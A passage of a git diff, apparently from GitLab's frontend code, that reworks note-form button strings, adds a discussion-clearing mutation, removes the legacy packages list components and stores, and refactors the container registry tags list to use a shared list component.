+ 'Notes|Confidential comments are only visible to members with the role of Reporter or higher',
+ ),
discussionThatNeedsResolution: __(
'Discuss a specific suggestion or question that needs to be resolved.',
),
discussion: __('Discuss a specific suggestion or question.'),
actionButtonWithNote: __('%{actionText} & %{openOrClose} %{noteable}'),
- actionButton: __('%{openOrClose} %{noteable}'),
+ actionButton: {
+ withNote: {
+ reopen: __('%{actionText} & reopen %{noteable}'),
+ close: __('%{actionText} & close %{noteable}'),
+ },
+ withoutNote: {
+ reopen: __('Reopen %{noteable}'),
+ close: __('Close %{noteable}'),
+ },
+ },
submitButton: {
startThread: __('Start thread'),
comment: __('Comment'),
diff --git a/app/assets/javascripts/notes/stores/actions.js b/app/assets/javascripts/notes/stores/actions.js
index c862a29ad9c..50b05ea9d69 100644
--- a/app/assets/javascripts/notes/stores/actions.js
+++ b/app/assets/javascripts/notes/stores/actions.js
@@ -601,7 +601,8 @@ export const setLoadingState = ({ commit }, data) => {
commit(types.SET_NOTES_LOADING_STATE, data);
};
-export const filterDiscussion = ({ dispatch }, { path, filter, persistFilter }) => {
+export const filterDiscussion = ({ commit, dispatch }, { path, filter, persistFilter }) => {
+ commit(types.CLEAR_DISCUSSIONS);
dispatch('setLoadingState', true);
dispatch('fetchDiscussions', { path, filter, persistFilter })
.then(() => {
diff --git a/app/assets/javascripts/notes/stores/mutation_types.js b/app/assets/javascripts/notes/stores/mutation_types.js
index fcd2846ff0d..ebda08a3d62 100644
--- a/app/assets/javascripts/notes/stores/mutation_types.js
+++ b/app/assets/javascripts/notes/stores/mutation_types.js
@@ -1,6 +1,7 @@
export const ADD_NEW_NOTE = 'ADD_NEW_NOTE';
export const ADD_NEW_REPLY_TO_DISCUSSION = 'ADD_NEW_REPLY_TO_DISCUSSION';
export const ADD_OR_UPDATE_DISCUSSIONS = 'ADD_OR_UPDATE_DISCUSSIONS';
+export const CLEAR_DISCUSSIONS = 'CLEAR_DISCUSSIONS';
export const DELETE_NOTE = 'DELETE_NOTE';
export const REMOVE_PLACEHOLDER_NOTES = 'REMOVE_PLACEHOLDER_NOTES';
export const SET_NOTES_DATA = 'SET_NOTES_DATA';
diff --git a/app/assets/javascripts/notes/stores/mutations.js b/app/assets/javascripts/notes/stores/mutations.js
index 1a99750ddb3..ba19ecd0c04 100644
--- a/app/assets/javascripts/notes/stores/mutations.js
+++ b/app/assets/javascripts/notes/stores/mutations.js
@@ -129,6 +129,10 @@ export default {
Object.assign(state, { userData: data });
},
+ [types.CLEAR_DISCUSSIONS](state) {
+ state.discussions = [];
+ },
+
[types.ADD_OR_UPDATE_DISCUSSIONS](state, discussionsData) {
discussionsData.forEach((d) => {
const discussion = { ...d };
diff --git a/app/assets/javascripts/packages/list/components/packages_list.vue b/app/assets/javascripts/packages/list/components/packages_list.vue
deleted file mode 100644
index 23ba070aa26..00000000000
--- a/app/assets/javascripts/packages/list/components/packages_list.vue
+++ /dev/null
@@ -1,129 +0,0 @@
-<script>
-import { GlPagination, GlModal, GlSprintf } from '@gitlab/ui';
-import { mapState, mapGetters } from 'vuex';
-import { s__ } from '~/locale';
-import Tracking from '~/tracking';
-import PackagesListRow from '../../shared/components/package_list_row.vue';
-import PackagesListLoader from '../../shared/components/packages_list_loader.vue';
-import { TrackingActions } from '../../shared/constants';
-import { packageTypeToTrackCategory } from '../../shared/utils';
-
-export default {
- components: {
- GlPagination,
- GlModal,
- GlSprintf,
- PackagesListLoader,
- PackagesListRow,
- },
- mixins: [Tracking.mixin()],
- data() {
- return {
- itemToBeDeleted: null,
- };
- },
- computed: {
- ...mapState({
- perPage: (state) => state.pagination.perPage,
- totalItems: (state) => state.pagination.total,
- page: (state) => state.pagination.page,
- isGroupPage: (state) => state.config.isGroupPage,
- isLoading: 'isLoading',
- }),
- ...mapGetters({ list: 'getList' }),
- currentPage: {
- get() {
- return this.page;
- },
- set(value) {
- this.$emit('page:changed', value);
- },
- },
- isListEmpty() {
- return !this.list || this.list.length === 0;
- },
- modalAction() {
- return s__('PackageRegistry|Delete package');
- },
- deletePackageName() {
- return this.itemToBeDeleted?.name ?? '';
- },
- tracking() {
- const category = this.itemToBeDeleted
- ? packageTypeToTrackCategory(this.itemToBeDeleted.package_type)
- : undefined;
- return {
- category,
- };
- },
- },
- methods: {
- setItemToBeDeleted(item) {
- this.itemToBeDeleted = { ...item };
- this.track(TrackingActions.REQUEST_DELETE_PACKAGE);
- this.$refs.packageListDeleteModal.show();
- },
- deleteItemConfirmation() {
- this.$emit('package:delete', this.itemToBeDeleted);
- this.track(TrackingActions.DELETE_PACKAGE);
- this.itemToBeDeleted = null;
- },
- deleteItemCanceled() {
- this.track(TrackingActions.CANCEL_DELETE_PACKAGE);
- this.itemToBeDeleted = null;
- },
- },
- i18n: {
- deleteModalContent: s__(
- 'PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?',
- ),
- },
-};
-</script>
-
-<template>
- <div class="gl-display-flex gl-flex-direction-column">
- <slot v-if="isListEmpty && !isLoading" name="empty-state"></slot>
-
- <div v-else-if="isLoading">
- <packages-list-loader />
- </div>
-
- <template v-else>
- <div data-qa-selector="packages-table">
- <packages-list-row
- v-for="packageEntity in list"
- :key="packageEntity.id"
- :package-entity="packageEntity"
- :package-link="packageEntity._links.web_path"
- :is-group="isGroupPage"
- @packageToDelete="setItemToBeDeleted"
- />
- </div>
-
- <gl-pagination
- v-model="currentPage"
- :per-page="perPage"
- :total-items="totalItems"
- align="center"
- class="gl-w-full gl-mt-3"
- />
-
- <gl-modal
- ref="packageListDeleteModal"
- modal-id="confirm-delete-pacakge"
- ok-variant="danger"
- @ok="deleteItemConfirmation"
- @cancel="deleteItemCanceled"
- >
- <template #modal-title>{{ modalAction }}</template>
- <template #modal-ok>{{ modalAction }}</template>
- <gl-sprintf :message="$options.i18n.deleteModalContent">
- <template #name>
- <strong>{{ deletePackageName }}</strong>
- </template>
- </gl-sprintf>
- </gl-modal>
- </template>
- </div>
-</template>
diff --git a/app/assets/javascripts/packages/list/components/packages_list_app.vue b/app/assets/javascripts/packages/list/components/packages_list_app.vue
deleted file mode 100644
index 31d90fa4dee..00000000000
--- a/app/assets/javascripts/packages/list/components/packages_list_app.vue
+++ /dev/null
@@ -1,116 +0,0 @@
-<script>
-import { GlEmptyState, GlLink, GlSprintf } from '@gitlab/ui';
-import { mapActions, mapState } from 'vuex';
-import createFlash from '~/flash';
-import { historyReplaceState } from '~/lib/utils/common_utils';
-import { s__ } from '~/locale';
-import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
-import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
-import { getQueryParams, extractFilterAndSorting } from '~/packages_and_registries/shared/utils';
-import InfrastructureTitle from '~/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue';
-import InfrastructureSearch from '~/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue';
-import { DELETE_PACKAGE_SUCCESS_MESSAGE } from '../constants';
-import PackageList from './packages_list.vue';
-
-export default {
- components: {
- GlEmptyState,
- GlLink,
- GlSprintf,
- PackageList,
- InfrastructureTitle,
- InfrastructureSearch,
- },
- inject: {
- emptyPageTitle: {
- from: 'emptyPageTitle',
- default: s__('PackageRegistry|There are no packages yet'),
- },
- noResultsText: {
- from: 'noResultsText',
- default: s__(
- 'PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab.',
- ),
- },
- },
- computed: {
- ...mapState({
- emptyListIllustration: (state) => state.config.emptyListIllustration,
- emptyListHelpUrl: (state) => state.config.emptyListHelpUrl,
- filter: (state) => state.filter,
- selectedType: (state) => state.selectedType,
- packageHelpUrl: (state) => state.config.packageHelpUrl,
- packagesCount: (state) => state.pagination?.total,
- }),
- emptySearch() {
- return (
- this.filter.filter((f) => f.type !== FILTERED_SEARCH_TERM || f.value?.data).length === 0
- );
- },
-
- emptyStateTitle() {
- return this.emptySearch
- ? this.emptyPageTitle
- : s__('PackageRegistry|Sorry, your filter produced no results');
- },
- },
- mounted() {
- const queryParams = getQueryParams(window.document.location.search);
- const { sorting, filters } = extractFilterAndSorting(queryParams);
- this.setSorting(sorting);
- this.setFilter(filters);
- this.requestPackagesList();
- this.checkDeleteAlert();
- },
- methods: {
- ...mapActions([
- 'requestPackagesList',
- 'requestDeletePackage',
- 'setSelectedType',
- 'setSorting',
- 'setFilter',
- ]),
- onPageChanged(page) {
- return this.requestPackagesList({ page });
- },
- onPackageDeleteRequest(item) {
- return this.requestDeletePackage(item);
- },
- checkDeleteAlert() {
- const urlParams = new URLSearchParams(window.location.search);
- const showAlert = urlParams.get(SHOW_DELETE_SUCCESS_ALERT);
- if (showAlert) {
- // to be refactored to use gl-alert
- createFlash({ message: DELETE_PACKAGE_SUCCESS_MESSAGE, type: 'notice' });
- const cleanUrl = window.location.href.split('?')[0];
- historyReplaceState(cleanUrl);
- }
- },
- },
- i18n: {
- widenFilters: s__('PackageRegistry|To widen your search, change or remove the filters above.'),
- },
-};
-</script>
-
-<template>
- <div>
- <infrastructure-title :help-url="packageHelpUrl" :count="packagesCount" />
- <infrastructure-search @update="requestPackagesList" />
-
- <package-list @page:changed="onPageChanged" @package:delete="onPackageDeleteRequest">
- <template #empty-state>
- <gl-empty-state :title="emptyStateTitle" :svg-path="emptyListIllustration">
- <template #description>
- <gl-sprintf v-if="!emptySearch" :message="$options.i18n.widenFilters" />
- <gl-sprintf v-else :message="noResultsText">
- <template #noPackagesLink="{ content }">
- <gl-link :href="emptyListHelpUrl" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </template>
- </gl-empty-state>
- </template>
- </package-list>
- </div>
-</template>
diff --git a/app/assets/javascripts/packages/list/constants.js b/app/assets/javascripts/packages/list/constants.js
deleted file mode 100644
index 4f5071e784b..00000000000
--- a/app/assets/javascripts/packages/list/constants.js
+++ /dev/null
@@ -1,99 +0,0 @@
-import { __, s__ } from '~/locale';
-import { PackageType } from '../shared/constants';
-
-export const FETCH_PACKAGES_LIST_ERROR_MESSAGE = __(
- 'Something went wrong while fetching the packages list.',
-);
-export const FETCH_PACKAGE_ERROR_MESSAGE = __('Something went wrong while fetching the package.');
-export const DELETE_PACKAGE_SUCCESS_MESSAGE = __('Package deleted successfully');
-
-export const DEFAULT_PAGE = 1;
-export const DEFAULT_PAGE_SIZE = 20;
-
-export const GROUP_PAGE_TYPE = 'groups';
-
-export const LIST_KEY_NAME = 'name';
-export const LIST_KEY_PROJECT = 'project_path';
-export const LIST_KEY_VERSION = 'version';
-export const LIST_KEY_PACKAGE_TYPE = 'type';
-export const LIST_KEY_CREATED_AT = 'created_at';
-export const LIST_KEY_ACTIONS = 'actions';
-
-export const LIST_LABEL_NAME = __('Name');
-export const LIST_LABEL_PROJECT = __('Project');
-export const LIST_LABEL_VERSION = __('Version');
-export const LIST_LABEL_PACKAGE_TYPE = __('Type');
-export const LIST_LABEL_CREATED_AT = __('Published');
-export const LIST_LABEL_ACTIONS = '';
-
-// The following is not translated because it is used to build a JavaScript exception error message
-export const MISSING_DELETE_PATH_ERROR = 'Missing delete_api_path link';
-
-export const SORT_FIELDS = [
- {
- orderBy: LIST_KEY_NAME,
- label: LIST_LABEL_NAME,
- },
- {
- orderBy: LIST_KEY_PROJECT,
- label: LIST_LABEL_PROJECT,
- },
- {
- orderBy: LIST_KEY_VERSION,
- label: LIST_LABEL_VERSION,
- },
- {
- orderBy: LIST_KEY_PACKAGE_TYPE,
- label: LIST_LABEL_PACKAGE_TYPE,
- },
- {
- orderBy: LIST_KEY_CREATED_AT,
- label: LIST_LABEL_CREATED_AT,
- },
-];
-
-export const PACKAGE_TYPES = [
- {
- title: s__('PackageRegistry|Composer'),
- type: PackageType.COMPOSER,
- },
- {
- title: s__('PackageRegistry|Conan'),
- type: PackageType.CONAN,
- },
- {
- title: s__('PackageRegistry|Generic'),
- type: PackageType.GENERIC,
- },
-
- {
- title: s__('PackageRegistry|Maven'),
- type: PackageType.MAVEN,
- },
- {
- title: s__('PackageRegistry|npm'),
- type: PackageType.NPM,
- },
- {
- title: s__('PackageRegistry|NuGet'),
- type: PackageType.NUGET,
- },
- {
- title: s__('PackageRegistry|PyPI'),
- type: PackageType.PYPI,
- },
- {
- title: s__('PackageRegistry|RubyGems'),
- type: PackageType.RUBYGEMS,
- },
- {
- title: s__('PackageRegistry|Debian'),
- type: PackageType.DEBIAN,
- },
- {
- title: s__('PackageRegistry|Helm'),
- type: PackageType.HELM,
- },
-];
-
-export const TERRAFORM_SEARCH_TYPE = Object.freeze({ value: { data: 'terraform_module' } });
diff --git a/app/assets/javascripts/packages/list/packages_list_app_bundle.js b/app/assets/javascripts/packages/list/packages_list_app_bundle.js
deleted file mode 100644
index 2911cf70a33..00000000000
--- a/app/assets/javascripts/packages/list/packages_list_app_bundle.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import Vue from 'vue';
-import Translate from '~/vue_shared/translate';
-import PackagesListApp from './components/packages_list_app.vue';
-import { createStore } from './stores';
-
-Vue.use(Translate);
-
-export default () => {
- const el = document.getElementById('js-vue-packages-list');
- const store = createStore();
- store.dispatch('setInitialState', el.dataset);
-
- return new Vue({
- el,
- store,
- components: {
- PackagesListApp,
- },
- render(createElement) {
- return createElement('packages-list-app');
- },
- });
-};
diff --git a/app/assets/javascripts/packages/list/stores/actions.js b/app/assets/javascripts/packages/list/stores/actions.js
deleted file mode 100644
index 81f587971c2..00000000000
--- a/app/assets/javascripts/packages/list/stores/actions.js
+++ /dev/null
@@ -1,83 +0,0 @@
-import Api from '~/api';
-import createFlash from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
-import {
- FETCH_PACKAGES_LIST_ERROR_MESSAGE,
- DELETE_PACKAGE_SUCCESS_MESSAGE,
- DEFAULT_PAGE,
- DEFAULT_PAGE_SIZE,
- MISSING_DELETE_PATH_ERROR,
- TERRAFORM_SEARCH_TYPE,
-} from '../constants';
-import { getNewPaginationPage } from '../utils';
-import * as types from './mutation_types';
-
-export const setInitialState = ({ commit }, data) => commit(types.SET_INITIAL_STATE, data);
-export const setLoading = ({ commit }, data) => commit(types.SET_MAIN_LOADING, data);
-export const setSorting = ({ commit }, data) => commit(types.SET_SORTING, data);
-export const setFilter = ({ commit }, data) => commit(types.SET_FILTER, data);
-
-export const receivePackagesListSuccess = ({ commit }, { data, headers }) => {
- commit(types.SET_PACKAGE_LIST_SUCCESS, data);
- commit(types.SET_PAGINATION, headers);
-};
-
-export const requestPackagesList = ({ dispatch, state }, params = {}) => {
- dispatch('setLoading', true);
-
- const { page = DEFAULT_PAGE, per_page = DEFAULT_PAGE_SIZE } = params;
- const { sort, orderBy } = state.sorting;
- const type = state.config.forceTerraform
- ? TERRAFORM_SEARCH_TYPE
- : state.filter.find((f) => f.type === 'type');
- const name = state.filter.find((f) => f.type === 'filtered-search-term');
- const packageFilters = { package_type: type?.value?.data, package_name: name?.value?.data };
-
- const apiMethod = state.config.isGroupPage ? 'groupPackages' : 'projectPackages';
-
- return Api[apiMethod](state.config.resourceId, {
- params: { page, per_page, sort, order_by: orderBy, ...packageFilters },
- })
- .then(({ data, headers }) => {
- dispatch('receivePackagesListSuccess', { data, headers });
- })
- .catch(() => {
- createFlash({
- message: FETCH_PACKAGES_LIST_ERROR_MESSAGE,
- });
- })
- .finally(() => {
- dispatch('setLoading', false);
- });
-};
-
-export const requestDeletePackage = ({ dispatch, state }, { _links }) => {
- if (!_links || !_links.delete_api_path) {
- createFlash({
- message: DELETE_PACKAGE_ERROR_MESSAGE,
- });
- const error = new Error(MISSING_DELETE_PATH_ERROR);
- return Promise.reject(error);
- }
-
- dispatch('setLoading', true);
- return axios
- .delete(_links.delete_api_path)
- .then(() => {
- const { page: currentPage, perPage, total } = state.pagination;
- const page = getNewPaginationPage(currentPage, perPage, total - 1);
-
- dispatch('requestPackagesList', { page });
- createFlash({
- message: DELETE_PACKAGE_SUCCESS_MESSAGE,
- type: 'success',
- });
- })
- .catch(() => {
- dispatch('setLoading', false);
- createFlash({
- message: DELETE_PACKAGE_ERROR_MESSAGE,
- });
- });
-};
diff --git a/app/assets/javascripts/packages/list/stores/getters.js b/app/assets/javascripts/packages/list/stores/getters.js
deleted file mode 100644
index 482c111b58b..00000000000
--- a/app/assets/javascripts/packages/list/stores/getters.js
+++ /dev/null
@@ -1,5 +0,0 @@
-import { beautifyPath } from '../../shared/utils';
-import { LIST_KEY_PROJECT } from '../constants';
-
-export default (state) =>
- state.packages.map((p) => ({ ...p, projectPathName: beautifyPath(p[LIST_KEY_PROJECT]) }));
diff --git a/app/assets/javascripts/packages/shared/components/package_list_row.vue b/app/assets/javascripts/packages/shared/components/package_list_row.vue
deleted file mode 100644
index eee0e470c7b..00000000000
--- a/app/assets/javascripts/packages/shared/components/package_list_row.vue
+++ /dev/null
@@ -1,174 +0,0 @@
-<script>
-import { GlButton, GlLink, GlSprintf, GlTooltipDirective, GlTruncate } from '@gitlab/ui';
-import { s__ } from '~/locale';
-import ListItem from '~/vue_shared/components/registry/list_item.vue';
-import timeagoMixin from '~/vue_shared/mixins/timeago';
-import { PACKAGE_ERROR_STATUS, PACKAGE_DEFAULT_STATUS } from '../constants';
-import { getPackageTypeLabel } from '../utils';
-import PackagePath from './package_path.vue';
-import PackageTags from './package_tags.vue';
-import PublishMethod from './publish_method.vue';
-
-export default {
- name: 'PackageListRow',
- components: {
- GlButton,
- GlLink,
- GlSprintf,
- GlTruncate,
- PackageTags,
- PackagePath,
- PublishMethod,
- ListItem,
- PackageIconAndName: () =>
- import(/* webpackChunkName: 'package_registry_components' */ './package_icon_and_name.vue'),
- InfrastructureIconAndName: () =>
- import(
- /* webpackChunkName: 'infrastructure_registry_components' */ '~/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue'
- ),
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- mixins: [timeagoMixin],
- inject: {
- iconComponent: {
- from: 'iconComponent',
- default: 'PackageIconAndName',
- },
- },
- props: {
- packageEntity: {
- type: Object,
- required: true,
- },
- packageLink: {
- type: String,
- required: true,
- },
- disableDelete: {
- type: Boolean,
- default: false,
- required: false,
- },
- isGroup: {
- type: Boolean,
- default: false,
- required: false,
- },
- showPackageType: {
- type: Boolean,
- default: true,
- required: false,
- },
- },
- computed: {
- packageType() {
- return getPackageTypeLabel(this.packageEntity.package_type);
- },
- hasPipeline() {
- return Boolean(this.packageEntity.pipeline);
- },
- hasProjectLink() {
- return Boolean(this.packageEntity.project_path);
- },
- showWarningIcon() {
- return this.packageEntity.status === PACKAGE_ERROR_STATUS;
- },
- disabledRow() {
- return this.packageEntity.status && this.packageEntity.status !== PACKAGE_DEFAULT_STATUS;
- },
- disabledDeleteButton() {
- return this.disabledRow || !this.packageEntity._links.delete_api_path;
- },
- },
- i18n: {
- erroredPackageText: s__('PackageRegistry|Invalid Package: failed metadata extraction'),
- },
-};
-</script>
-
-<template>
- <list-item data-qa-selector="package_row" :disabled="disabledRow">
- <template #left-primary>
- <div class="gl-display-flex gl-align-items-center gl-mr-3 gl-min-w-0">
- <gl-link
- :href="packageLink"
- class="gl-text-body gl-min-w-0"
- data-qa-selector="package_link"
- :disabled="disabledRow"
- >
- <gl-truncate :text="packageEntity.name" />
- </gl-link>
-
- <gl-button
- v-if="showWarningIcon"
- v-gl-tooltip="{ title: $options.i18n.erroredPackageText }"
- class="gl-hover-bg-transparent!"
- icon="warning"
- category="tertiary"
- data-testid="warning-icon"
- :aria-label="__('Warning')"
- />
-
- <package-tags
- v-if="packageEntity.tags && packageEntity.tags.length"
- class="gl-ml-3"
- :tags="packageEntity.tags"
- hide-label
- :tag-display-limit="1"
- />
- </div>
- </template>
- <template #left-secondary>
- <div class="gl-display-flex">
- <span>{{ packageEntity.version }}</span>
-
- <div v-if="hasPipeline" class="gl-display-none gl-sm-display-flex gl-ml-2">
- <gl-sprintf :message="s__('PackageRegistry|published by %{author}')">
- <template #author>{{ packageEntity.pipeline.user.name }}</template>
- </gl-sprintf>
- </div>
-
- <component :is="iconComponent" v-if="showPackageType">
- {{ packageType }}
- </component>
-
- <package-path
- v-if="hasProjectLink"
- :path="packageEntity.project_path"
- :disabled="disabledRow"
- />
- </div>
- </template>
-
- <template #right-primary>
- <publish-method :package-entity="packageEntity" :is-group="isGroup" />
- </template>
-
- <template #right-secondary>
- <span>
- <gl-sprintf :message="__('Created %{timestamp}')">
- <template #timestamp>
- <span v-gl-tooltip :title="tooltipTitle(packageEntity.created_at)">
- {{ timeFormatted(packageEntity.created_at) }}
- </span>
- </template>
- </gl-sprintf>
- </span>
- </template>
-
- <template v-if="!disableDelete" #right-action>
- <gl-button
- data-testid="action-delete"
- icon="remove"
- category="secondary"
- variant="danger"
- :title="s__('PackageRegistry|Remove package')"
- :aria-label="s__('PackageRegistry|Remove package')"
- :disabled="disabledDeleteButton"
- @click="$emit('packageToDelete', packageEntity)"
- />
- </template>
- </list-item>
-</template>
diff --git a/app/assets/javascripts/packages/shared/constants.js b/app/assets/javascripts/packages/shared/constants.js
deleted file mode 100644
index c284b8358b4..00000000000
--- a/app/assets/javascripts/packages/shared/constants.js
+++ /dev/null
@@ -1,49 +0,0 @@
-import { s__ } from '~/locale';
-
-export const PackageType = {
- CONAN: 'conan',
- MAVEN: 'maven',
- NPM: 'npm',
- NUGET: 'nuget',
- PYPI: 'pypi',
- COMPOSER: 'composer',
- RUBYGEMS: 'rubygems',
- GENERIC: 'generic',
- DEBIAN: 'debian',
- HELM: 'helm',
-};
-
-// we want this separated from the main dictionary to avoid it being pulled in the search of package
-export const TERRAFORM_PACKAGE_TYPE = 'terraform_module';
-
-export const TrackingActions = {
- DELETE_PACKAGE: 'delete_package',
- REQUEST_DELETE_PACKAGE: 'request_delete_package',
- CANCEL_DELETE_PACKAGE: 'cancel_delete_package',
- PULL_PACKAGE: 'pull_package',
- DELETE_PACKAGE_FILE: 'delete_package_file',
- REQUEST_DELETE_PACKAGE_FILE: 'request_delete_package_file',
- CANCEL_DELETE_PACKAGE_FILE: 'cancel_delete_package_file',
-};
-
-export const TrackingCategories = {
- [PackageType.MAVEN]: 'MavenPackages',
- [PackageType.NPM]: 'NpmPackages',
- [PackageType.CONAN]: 'ConanPackages',
-};
-
-export const SHOW_DELETE_SUCCESS_ALERT = 'showSuccessDeleteAlert';
-export const DELETE_PACKAGE_ERROR_MESSAGE = s__(
- 'PackageRegistry|Something went wrong while deleting the package.',
-);
-export const DELETE_PACKAGE_FILE_ERROR_MESSAGE = s__(
- 'PackageRegistry|Something went wrong while deleting the package file.',
-);
-export const DELETE_PACKAGE_FILE_SUCCESS_MESSAGE = s__(
- 'PackageRegistry|Package file deleted successfully',
-);
-
-export const PACKAGE_ERROR_STATUS = 'error';
-export const PACKAGE_DEFAULT_STATUS = 'default';
-export const PACKAGE_HIDDEN_STATUS = 'hidden';
-export const PACKAGE_PROCESSING_STATUS = 'processing';
diff --git a/app/assets/javascripts/packages/shared/utils.js b/app/assets/javascripts/packages/shared/utils.js
deleted file mode 100644
index 7e86e5b2991..00000000000
--- a/app/assets/javascripts/packages/shared/utils.js
+++ /dev/null
@@ -1,43 +0,0 @@
-import { s__ } from '~/locale';
-import { PackageType, TrackingCategories } from './constants';
-
-export const packageTypeToTrackCategory = (type) =>
- // eslint-disable-next-line @gitlab/require-i18n-strings
- `UI::${TrackingCategories[type]}`;
-
-export const beautifyPath = (path) => (path ? path.split('/').join(' / ') : '');
-
-export const getPackageTypeLabel = (packageType) => {
- switch (packageType) {
- case PackageType.CONAN:
- return s__('PackageRegistry|Conan');
- case PackageType.MAVEN:
- return s__('PackageRegistry|Maven');
- case PackageType.NPM:
- return s__('PackageRegistry|npm');
- case PackageType.NUGET:
- return s__('PackageRegistry|NuGet');
- case PackageType.PYPI:
- return s__('PackageRegistry|PyPI');
- case PackageType.RUBYGEMS:
- return s__('PackageRegistry|RubyGems');
- case PackageType.COMPOSER:
- return s__('PackageRegistry|Composer');
- case PackageType.GENERIC:
- return s__('PackageRegistry|Generic');
- case PackageType.DEBIAN:
- return s__('PackageRegistry|Debian');
- case PackageType.HELM:
- return s__('PackageRegistry|Helm');
- default:
- return null;
- }
-};
-
-export const getCommitLink = ({ project_path: projectPath, pipeline = {} }, isGroup = false) => {
- if (isGroup) {
- return `/${projectPath}/commit/${pipeline.sha}`;
- }
-
- return `../commit/${pipeline.sha}`;
-};
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/delete_modal.vue b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/delete_modal.vue
index f857c96c9d1..7a8a1bbcf09 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/delete_modal.vue
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/delete_modal.vue
@@ -82,6 +82,7 @@ export default {
ref="deleteModal"
modal-id="delete-tag-modal"
ok-variant="danger"
+ size="sm"
:action-primary="{
text: __('Delete'),
attributes: [{ variant: 'danger' }, { disabled: disablePrimaryButton }],
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/details_header.vue b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/details_header.vue
index e9e36151fe6..d988ad8d8ca 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/details_header.vue
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/details_header.vue
@@ -46,7 +46,6 @@ export default {
data() {
return {
containerRepository: {},
- fetchTagsCount: false,
};
},
apollo: {
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list.vue b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list.vue
index 3e19a646f53..2d32295b537 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list.vue
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list.vue
@@ -1,7 +1,8 @@
<script>
-import { GlButton, GlKeysetPagination } from '@gitlab/ui';
import createFlash from '~/flash';
+import { n__ } from '~/locale';
import { joinPaths } from '~/lib/utils/url_utility';
+import RegistryList from '~/packages_and_registries/shared/components/registry_list.vue';
import {
REMOVE_TAGS_BUTTON_TITLE,
TAGS_LIST_TITLE,
@@ -16,11 +17,10 @@ import TagsLoader from './tags_loader.vue';
export default {
name: 'TagsList',
components: {
- GlButton,
- GlKeysetPagination,
TagsListRow,
EmptyState,
TagsLoader,
+ RegistryList,
},
inject: ['config'],
props: {
@@ -61,11 +61,13 @@ export default {
},
data() {
return {
- selectedItems: {},
containerRepository: {},
};
},
computed: {
+ listTitle() {
+ return n__('%d tag', '%d tags', this.tags.length);
+ },
tags() {
return this.containerRepository?.tags?.nodes || [];
},
@@ -78,18 +80,9 @@ export default {
first: GRAPHQL_PAGE_SIZE,
};
},
- hasSelectedItems() {
- return this.tags.some((tag) => this.selectedItems[tag.name]);
- },
showMultiDeleteButton() {
return this.tags.some((tag) => tag.canDelete) && !this.isMobile;
},
- multiDeleteButtonIsDisabled() {
- return !this.hasSelectedItems || this.disabled;
- },
- showPagination() {
- return this.tagsPageInfo.hasPreviousPage || this.tagsPageInfo.hasNextPage;
- },
hasNoTags() {
return this.tags.length === 0;
},
@@ -98,19 +91,13 @@ export default {
},
},
methods: {
- updateSelectedItems(name) {
- this.$set(this.selectedItems, name, !this.selectedItems[name]);
- },
- mapTagsToBeDleeted(items) {
- return this.tags.filter((tag) => items[tag.name]);
- },
fetchNextPage() {
this.$apollo.queries.containerRepository.fetchMore({
variables: {
after: this.tagsPageInfo?.endCursor,
first: GRAPHQL_PAGE_SIZE,
},
- updateQuery(previousResult, { fetchMoreResult }) {
+ updateQuery(_, { fetchMoreResult }) {
return fetchMoreResult;
},
});
@@ -122,7 +109,7 @@ export default {
before: this.tagsPageInfo?.startCursor,
last: GRAPHQL_PAGE_SIZE,
},
- updateQuery(previousResult, { fetchMoreResult }) {
+ updateQuery(_, { fetchMoreResult }) {
return fetchMoreResult;
},
});
@@ -137,42 +124,27 @@ export default {
<template v-else>
<empty-state v-if="hasNoTags" :no-containers-image="config.noContainersImage" />
<template v-else>
- <div class="gl-display-flex gl-justify-content-space-between gl-mb-3">
- <h5 data-testid="list-title">
- {{ $options.i18n.TAGS_LIST_TITLE }}
- </h5>
-
- <gl-button
- v-if="showMultiDeleteButton"
- :disabled="multiDeleteButtonIsDisabled"
- category="secondary"
- variant="danger"
- @click="$emit('delete', mapTagsToBeDleeted(selectedItems))"
- >
- {{ $options.i18n.REMOVE_TAGS_BUTTON_TITLE }}
- </gl-button>
- </div>
- <tags-list-row
- v-for="(tag, index) in tags"
- :key="tag.path"
- :tag="tag"
- :first="index === 0"
- :selected="selectedItems[tag.name]"
- :is-mobile="isMobile"
- :disabled="disabled"
- @select="updateSelectedItems(tag.name)"
- @delete="$emit('delete', mapTagsToBeDleeted({ [tag.name]: true }))"
- />
- <div class="gl-display-flex gl-justify-content-center">
- <gl-keyset-pagination
- v-if="showPagination"
- :has-next-page="tagsPageInfo.hasNextPage"
- :has-previous-page="tagsPageInfo.hasPreviousPage"
- class="gl-mt-3"
- @prev="fetchPreviousPage"
- @next="fetchNextPage"
- />
- </div>
+ <registry-list
+ :title="listTitle"
+ :pagination="tagsPageInfo"
+ :items="tags"
+ id-property="name"
+ @prev-page="fetchPreviousPage"
+ @next-page="fetchNextPage"
+ @delete="$emit('delete', $event)"
+ >
+ <template #default="{ selectItem, isSelected, item, first }">
+ <tags-list-row
+ :tag="item"
+ :first="first"
+ :selected="isSelected(item)"
+ :is-mobile="isMobile"
+ :disabled="disabled"
